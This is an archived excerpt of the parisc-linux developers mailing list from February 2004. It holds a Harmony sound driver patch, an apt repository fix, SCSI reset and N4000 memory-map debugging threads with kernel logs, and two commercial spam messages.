	(InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with SMTP
	id <20040222220449.NSIK2607.tomts25-srv.bellnexxia.net@janewhnyyl5oyu>
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 17:04:49 -0500
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 22:05:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20919

This is a multi-part message in MIME format.

------=_NextPart_000_0090_01C3F9CA.B03F6300
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

  About Us This email is to introduce Repharm; a knowledge management =
company that provides installed customer lists for companies such as =
Oracle, PeopleSoft, Siebel, etc. Listed below are just a few of the =
customer lists we have. Some of the fields we include in our databases =
are: Company, Street, City, State/Province, ZipCode/Postal Code, =
Country, Telephone, Url, Sales/Revenue, Total Employees, SIC Code, =
Primary Industry and Parent Company. Contacts/Titles include: Chief =
Executive Officer, Chief Financial Officer, Chief Information Officer, =
Vice President Sales/Marketing, Vice President Human Resources, etc. We =
also provide Director/Manager level titles as well. We have obtained =
these lists through ongoing direct mail, fax and telemarketing =
campaigns, internet research, etc. Mike Gordon Repharm Tel: 905-721-8456 =
Fax: 905-721-1471 Email: repharm1@aol.com These are just a few of the =
lists we offer: ERP (Enterprise Resource Planning): Baan Epicor JD =
Edwards Lawson Made2Manage Mapics Marcam Oracle Peoplesoft SAP SSA CRM =
(Customer Relationship Management): Clarify E.piphany HNC Onyx Pivotal =
Siebel Vantive Xchange E-business Applications Ariba BMC BroadVision =
Commerce One Webtrends Middleware/Connectivity/App Servers/ Web Servers: =
Bea Systems Iona Unisys Operating Systems/Hardware/Software: COMPAQ HP =
3000 HP 9000 HP-UX IBM AS/400 IBM OS/390 Lotus Notes Microsoft Sun =
Microsystems DATABASE: DB2 FileMaker Informix Oracle SQL Sybase SUPPLY =
CHAIN: Agile i2 Technologies Manugistics QAD Webplan COMMUNICATIONS: =
ASPs CLECS ISPs E-COMMERCE: Dot Com Directory Consultant Directory =
Software Directory EXECUTIVE DIRECTORIES: CEO Directory CFO Directory =
CIO Directory Engineering Human Resources Purchasing Sales/Marketing =
INDUSTRY SPECIFIC LISTS: Agriculture, Forestry and Fishing =
Communications Construction Finance, Insurance and Real Estate =
Manufacturing Mining Public Administration Retail Trade Services =
Transportation Utilities Wholesale Trade FRONT OFFICE SERVICES: We offer =
the following Front Office Services: Fax Campaigns Telemarketing Direct =
Mail Customer Satisfaction Surveys=20


------=_NextPart_000_0090_01C3F9CA.B03F6300
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2737.800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY style=3D"COLOR: #000000; FONT-FAMILY: " bgColor=3D#ffffff>
<BLOCKQUOTE id=3D0><LABEL id=3DHbSession =
SessionId=3D"3716485582"></LABEL>
  <DIV><FONT face=3DArial size=3D2>
  <DIV>About Us This email is to introduce Repharm; a knowledge =
management=20
  company that provides installed customer lists for companies such as =
Oracle,=20
  PeopleSoft, Siebel, etc. Listed below are just a few of the customer =
lists we=20
  have. Some of the fields we include in our databases are: Company, =
Street,=20
  City, State/Province, ZipCode/Postal Code, Country, Telephone, Url,=20
  Sales/Revenue, Total Employees, SIC Code, Primary Industry and Parent =
Company.=20
  Contacts/Titles include: Chief Executive Officer, Chief Financial =
Officer,=20
  Chief Information Officer, Vice President Sales/Marketing, Vice =
President=20
  Human Resources, etc. We also provide Director/Manager level titles as =
well.=20
  We have obtained these lists through ongoing direct mail, fax and=20
  telemarketing campaigns, internet research, etc. Mike Gordon Repharm =
Tel:=20
  905-721-8456 Fax: 905-721-1471 Email: repharm1@aol.com These are just =
a few of=20
  the lists we offer: ERP (Enterprise Resource Planning): Baan Epicor JD =
Edwards=20
  Lawson Made2Manage Mapics Marcam Oracle Peoplesoft SAP SSA CRM =
(Customer=20
  Relationship Management): Clarify E.piphany HNC Onyx Pivotal Siebel =
Vantive=20
  Xchange E-business Applications Ariba BMC BroadVision Commerce One =
Webtrends=20
  Middleware/Connectivity/App Servers/ Web Servers: Bea Systems Iona =
Unisys=20
  Operating Systems/Hardware/Software: COMPAQ HP 3000 HP 9000 HP-UX IBM =
AS/400=20
  IBM OS/390 Lotus Notes Microsoft Sun Microsystems DATABASE: DB2 =
FileMaker=20
  Informix Oracle SQL Sybase SUPPLY CHAIN: Agile i2 Technologies =
Manugistics QAD=20
  Webplan COMMUNICATIONS: ASPs CLECS ISPs E-COMMERCE: Dot Com Directory=20
  Consultant Directory Software Directory EXECUTIVE DIRECTORIES: CEO =
Directory=20
  CFO Directory CIO Directory Engineering Human Resources Purchasing=20
  Sales/Marketing INDUSTRY SPECIFIC LISTS: Agriculture, Forestry and =
Fishing=20
  Communications Construction Finance, Insurance and Real Estate =
Manufacturing=20
  Mining Public Administration Retail Trade Services Transportation =
Utilities=20
  Wholesale Trade FRONT OFFICE SERVICES: We offer the following Front =
Office=20
  Services: Fax Campaigns Telemarketing Direct Mail Customer =
Satisfaction=20
  Surveys </DIV></FONT></DIV></BLOCKQUOTE>
<P></P></BODY></HTML>

------=_NextPart_000_0090_01C3F9CA.B03F6300--




From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: can't compile 2.4.24: pdc_cons.o problem!
Date: Sun, 22 Feb 2004 20:24:03 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20040223032403.GB16784@colo.lackof.org>
References: <1077183184.403482d04a190@clients.latnet.lv>
	<20040222005241.GA30849@colo.lackof.org>
	<20040222012033.GN11824@parcelfarce.linux.theplanet.co.uk>
	<20040222065100.GG30849@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623218 6091 80.91.229.3 (22 Nov 2014 02:26:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Sun Feb 22 20:24:24 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5AA7E48AF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 20:24:24 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 62614298047
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 20:24:23 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 17118-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 20:24:03 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 32AD829808E; Sun, 22 Feb 2004 20:24:03 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040222065100.GG30849@colo.lackof.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 23 Feb 2004 03:24:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20920

On Sat, Feb 21, 2004 at 11:51:00PM -0700, Grant Grundler wrote:
> Failed to fetch http://cvs.parisc-linux.org/download/autobuild-kernels/./palinux-64-2.4.25-pa0_0-2_all.deb  404 Not Found
> E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?
> 
> OIC... '64/' is missing. Ideas?

deb http://cvs.parisc-linux.org/download/autobuild-kernels/64/ ./

Thanks to Paul Bame for putting a similar line on
	htt://cvs.parisc-linux.org/download/linux-2.4/

thanks,
grant


From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Harmony driver - Reject AFMT_S16_LE &
	Implement SNDCTL_DSP_CHANNELS
Date: Mon, 23 Feb 2004 03:56:01 +0000
Lines: 92
Approved: news@gmane.org
Message-ID: <20040223035601.GA988@calypso>
References: <20040222092057.GA2590@calypso>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623218 6094 80.91.229.3 (22 Nov 2014 02:26:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: sdbrady@ntlworld.com  Sun Feb 22 20:56:03 2004
Return-Path: <sdbrady@ntlworld.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta07-svc.ntlworld.com (mta07-svc.ntlworld.com [62.253.162.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83FED4854
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 20:56:02 -0700 (MST)
Original-Received: from calypso ([62.254.21.7]) by mta07-svc.ntlworld.com
	(InterMail vM.4.01.03.37 201-229-121-137-20020806) with ESMTP
	id <20040223035603.DXIN10961.mta07-svc.ntlworld.com@calypso>
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Feb 2004 03:56:03 +0000
Original-Received: from sdb by calypso with local (Exim 3.36 #1 (Debian))
	id 1Av7CL-0000Jo-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Feb 2004 03:56:01 +0000
Content-Disposition: inline
In-Reply-To: <20040222092057.GA2590@calypso>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Stuart Brady <sdbrady@ntlworld.com>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 23 Feb 2004 03:56:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20921

On Sun, Feb 22, 2004 at 09:20:57AM +0000, Stuart Brady wrote:

> +				if (put_user(ival, (int *) arg))
> +					return -EFAULT;

I've been looking at the specification, I think this should have been:

return put_user(ival, (int *) arg));

I assumed that -EINVAL would be returned, but the example shows the
argument being changed, without the ioctl returning an error. I'm still
not sure whether "harmony_set_format(HARMONY_DF_16BIT_LINEAR)" is needed
when an unsupported format is requested.  The specification is not clear
to me. "Rejects" implies "does not set the format" to me.

I'm going to have to get a firm idea of what each driver currently does
(since they tend to do different things anyway), what the apps want, and
what the documentation states.

I've also added a SNDCTL_DSP_CHANNELS (needed for mikmod). Here is the
revised patch:

Index: harmony.c
===================================================================
RCS file: /var/cvs/linux-2.4/drivers/sound/harmony.c,v
retrieving revision 1.28
diff -u -r1.28 harmony.c
--- harmony.c	22 Jun 2002 09:05:59 -0000	1.28
+++ harmony.c	23 Feb 2004 03:28:38 -0000
@@ -641,18 +641,17 @@
 			switch (ival) {
 			case AFMT_MU_LAW:	new_format = HARMONY_DF_8BIT_ULAW; break;
 			case AFMT_A_LAW:	new_format = HARMONY_DF_8BIT_ALAW; break;
-			case AFMT_S16_LE:	/* fall through, but not really supported */
-			case AFMT_S16_BE:	new_format = HARMONY_DF_16BIT_LINEAR;
-						ival = AFMT_S16_BE;
-						break; 
+			case AFMT_S16_BE:	new_format = HARMONY_DF_16BIT_LINEAR; break;
 			default: {
 				DPRINTK(KERN_WARNING PFX 
 					"unsupported sound format 0x%04x requested.\n",
 					ival);
-				return -EINVAL;
+				ival = AFMT_S16_BE;
+				return put_user(ival, (int *) arg);
 			}
 			}
 			harmony_set_format(new_format);
+			return 0;
 		} else {
 			switch (harmony.data_format) {
 			case HARMONY_DF_8BIT_ULAW:	ival = AFMT_MU_LAW; break;
@@ -660,8 +659,8 @@
 			case HARMONY_DF_16BIT_LINEAR:	ival = AFMT_U16_BE; break;
 			default: ival = 0;
 			}
+			return put_user(ival, (int *) arg);
 		}
-		return put_user(ival, (int *) arg);
 
 	case SOUND_PCM_READ_RATE:
 		ival = harmony.dac_rate;
@@ -680,7 +679,17 @@
 		if (ival != 0 && ival != 1)
 			return -EINVAL;
 		harmony_set_stereo(ival);
-		return put_user(ival, (int *) arg);
+		return 0;
+
+	case SNDCTL_DSP_CHANNELS:
+		if (get_user(ival, (int *) arg))
+			return -EFAULT;
+		if (ival != 1 && ival != 2) {
+			ival = harmony.stereo_select == HARMONY_SS_MONO ? 1 : 2;
+			return put_user(ival, (int *) arg);
+		}
+		harmony_set_stereo(ival-1);
+		return 0;
 
 	case SNDCTL_DSP_GETBLKSIZE:
 		ival = HARMONY_BUF_SIZE;

Mikmod now plays audio, but it says "Loading" at the top and you can't
do anything in the UI. I'll look into this after I've fixed the mixer.
The internal speaker, headphones, and rear jack don't seem to fit well
with the existing mixer channels in OSS. Any recommendations?

I'm not sure how SOUND_PCM_WRITE_CHANNELS and SOUND_PCM_READ_CHANNELS
are handled. Looks like they're the same ioctl. How does that work?!
-- 
Stuart Brady


From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M Malik" <skylimomalik@eol.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 10% Discount Limo Service(March Break)
Date: Sun, 22 Feb 2004 23:28:39 -0500
Organization: Sky Limo
Lines: 34
Approved: news@gmane.org
Message-ID: <20040223042852.EE726340D8@mail.echo-on.net>
Reply-To: skylimomalik@eol.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="-=_AROZNWZNNZSFN.024901810411CKQ.02961223"
X-Trace: ger.gmane.org 1416623219 6097 80.91.229.3 (22 Nov 2014 02:26:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: skylimomalik@eol.ca  Sun Feb 22 21:29:26 2004
Return-Path: <skylimomalik@eol.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.echo-on.net (smtp1.echo-on.net [204.138.111.138])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BB334854
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 21:29:26 -0700 (MST)
Original-Received: from mail.echo-on.net (perdition.echo-on.net [205.189.151.14])
	by smtp1.echo-on.net (Postfix) with ESMTP id 8E23010C67F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 23:33:42 -0500 (EST)
Original-Received: from roomcomputer.me (ppp-RAS1-3-250.dialup.eol.ca [64.56.226.250])
	by mail.echo-on.net (Postfix) with ESMTP id EE726340D8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 22 Feb 2004 23:28:52 -0500 (EST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 23 Feb 2004 04:29:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20922

This is a multi-part message in MIME format

---=_AROZNWZNNZSFN.024901810411CKQ.02961223
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

This is an HTML message.

---=_AROZNWZNNZSFN.024901810411CKQ.02961223
Content-Type: text/html
Content-Transfer-Encoding: 8bit

<HTML><HEAD>
<META http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV>
<DIV>
<DIV><FONT color=#ff0000 size=7>SKY LIMO<BR></FONT><FONT color=#0000ff>TORONTO 
ONTARIO CANADA</FONT></DIV>
<DIV><FONT color=#0000ff>skylimo@eol.ca <BR></FONT><FONT color=#0000ff><FONT 
size=6><FONT color=#000000><FONT size=5>WANTS TO&nbsp;FLY CALL THE 
SKY</FONT><BR></FONT></FONT><FONT color=#ff0000><FONT size=5>10% 
DISCOUNT</FONT><FONT size=2> (CASH ONLY)</FONT></FONT></FONT></DIV>
<DIV><FONT color=#0000ff><FONT color=#ff0000 size=4>ALL MAJOR CREDIT CARD 
ACCEPTED<BR></FONT><FONT color=#0000ff>FOR ALL YOUR TRANSPORTATION 
NEEDS<BR><FONT size=5>416-979-LIMO</FONT> 
(5466</FONT></FONT></DIV></DIV></DIV>
</BODY></HTML>

---=_AROZNWZNNZSFN.024901810411CKQ.02961223--


From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] b2k scsi disk pb
Date: Mon, 23 Feb 2004 09:16:16 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <402A42A100007EE7@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623219 6099 80.91.229.3 (22 Nov 2014 02:26:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:59 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>, "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: soete.joel@tiscali.be  Mon Feb 23 01:56:49 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75D774927
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Feb 2004 01:56:49 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AvBtA-0000vp-00; Mon, 23 Feb 2004 09:56:32 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 23 Feb 2004 09:16:16 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 23 Feb 2004 08:56:50 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20923

Hello Grant,

>The "hang" is because no IO's are processed until 3 seconds
>after the BUS RESET is issued.

Typicaly the behaviour observed.

>> Got rid of it by not using the SE-SCSI driver ;)
>> Try to physically detach the (not-used) ST336704LC.
>
>I was pretty sure "LC" suffix meant LVD with SCA 80 pin connector.
>Specs on seagate.com are easy to find if you know the model.

In fact according <http://www.seagate.com/cgi-bin/view.cgi?/scsi/st336704.lw>
it has the two possiblity SE or LVD according HW config (a side jumper J2
if i well understand)

>If both internal devices are LVD, check early sym2 dmesg output
>to verify the SCSI bus is operating in LVD mode (vs SE).

But here they seems to work together in LVD mode:
[snip]

Uniform CD-ROM driver Revision: 3.20
sym0: <895a> rev 0x1 at pci 0000:00:0f.0 irq 129
sym0: No NVRAM, ID 7, Fast-40, LVD, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.1.18i
sym0:0:0: ABORT operation started.
sym0:0:0: ABORT opera
ion complete.
sym0:0:0: DEVICE RESET operation started.
sym0:0:0: DEVICE RESET operation failed.
sym0:0:0: BUS RESET operation started.
sym0:0:0: BUS RESET operation failed.
sym0:0:0: HOST RESET operation started.
sym0:0:0: HOST RESET operation failed.
scsi: Device offlined - not ready after error recovery: host 0 channel 0
id 0 lun 0
  Vendor: QUANTUM   Model: ATLAS5-9LVD       Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:5:0: tagged command queuing enabled, command queue depth 16.
sym0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25.0 ns, offset 31)
  Vendor: SEAGATE   Model: ST336704LC        Rev: HP03
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym0:6:0: tagged command queuing enabled, command queue depth 16.
sym0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25.0 ns, offset 31)
[snip]

Anyway what sym2 look for at scsi id 0?

I will try also later to remove ST disk ad advise ;)

Thanks for attention and advise,
    Joel




----------------------------------------------------------------------------------------
Tiscali ADSL: 19,50 /mois, pendant 3 mois! L'Internet rapide, c'est pour
tout le monde.
http://reg.tiscali.be/default.asp?lg=fr





From - Thu Nov 08 21:31:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux only see 2Gb of ram of N4k
Date: Mon, 23 Feb 2004 09:30:06 +0100
Lines: 125
Approved: news@gmane.org
Message-ID: <402A42A100007F17@ocpmta1.freegates.net>
References: <20040222054942.GD30849@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623219 6102 80.91.229.3 (22 Nov 2014 02:26:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"Matthew Wilcox" <willy@debian.org>
Original-X-From: soete.joel@tiscali.be  Mon Feb 23 02:50:39 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86DC248AF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Feb 2004 02:50:38 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1AvCjQ-0003RH-00; Mon, 23 Feb 2004 10:50:32 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Mon, 23 Feb 2004 09:30:06 +0100
In-Reply-To: <20040222054942.GD30849@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 23 Feb 2004 09:50:39 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20924


>Beautiful diagram! (I'm saving that one)
Yes, Nice
>And I confirmed it is correct in case anyone had doubts.
(I did)

>> So the RAM is uniformly-accessible from all CPUs, but the IO is not.
>
>I don't think there is much penalty for CPU's to access MMIO space
>on "the other side". MMIO reads are so expensive anyway, I'd doubt
>it would make that much difference.
>
>> If you look at pat_memconfig() in arch/parisc/kernel/inventory.c, you'll
>> see how we try to figure out what memory ranges are in the machine.
>> Want to try debugging that, see what's being reported by firmware?
>
>I'm pretty sure it will look like this:
>RAM      Phys Address
>0-2GB -> 0-2GB
>      -> 2-4GB I/O Space (mostly PCI MMIO)
>2-4GB -> 4-6GB (courtesy of the memory controller)
>
>The N-class was the first box which has an I/O hole from 2-4GB
>physical address range. I hope Joel will be able to confirm this.
>If not, I likely have documentation to confirm this.
>
Awaiting I have a more detail look into code, I already have a cat of /proc/iomem:

palx4000:/Sources/Debian4hppa# cat /proc/iomem 
00000000-7fffffff : System RAM
  00000000-000009ff : PDC data (Page Zero)
  00100000-00451387 : Kernel code
  00451388-00605567 : Kernel data
fffffff004000000-fffffff07fffffff : LBA GMMIO
fffffff084000000-fffffff0ffffffff : LBA GMMIO
fffffff104000000-fffffff17fffffff : LBA GMMIO
fffffff204000000-fffffff27fffffff : LBA GMMIO
fffffff284000000-fffffff2ffffffff : LBA GMMIO
fffffff404000000-fffffff47fffffff : LBA GMMIO
fffffff504000000-fffffff57fffffff : LBA GMMIO
fffffff604000000-fffffff67fffffff : LBA GMMIO
fffffff804000000-fffffff87fffffff : LBA GMMIO
fffffff904000000-fffffff97fffffff : LBA GMMIO
fffffffa04000000-fffffffa7fffffff : LBA GMMIO
fffffffc04000000-fffffffc7fffffff : LBA GMMIO
fffffffd04000000-fffffffd7fffffff : LBA GMMIO
fffffffe04000000-fffffffe7fffffff : LBA GMMIO
ffffffff80000000-ffffffff81ffffff : LBA LMMIO
  ffffffff80000000-ffffffff80000fff : 0000:00:04.1
    ffffffff80000000-ffffffff80000007 : serial
    ffffffff80000008-ffffffff8000000f : serial
    ffffffff80000010-ffffffff80000017 : serial
    ffffffff80000038-ffffffff8000003f : serial
  ffffffff80001000-ffffffff80001fff : 0000:00:02.0
    ffffffff80001000-ffffffff80001fff : sym53c8xx
  ffffffff80002000-ffffffff80002fff : 0000:00:02.1
    ffffffff80002000-ffffffff80002fff : sym53c8xx
  ffffffff80003000-ffffffff800033ff : 0000:00:00.0
    ffffffff80003000-ffffffff800033ff : tulip
  ffffffff80004000-ffffffff800040ff : 0000:00:02.0
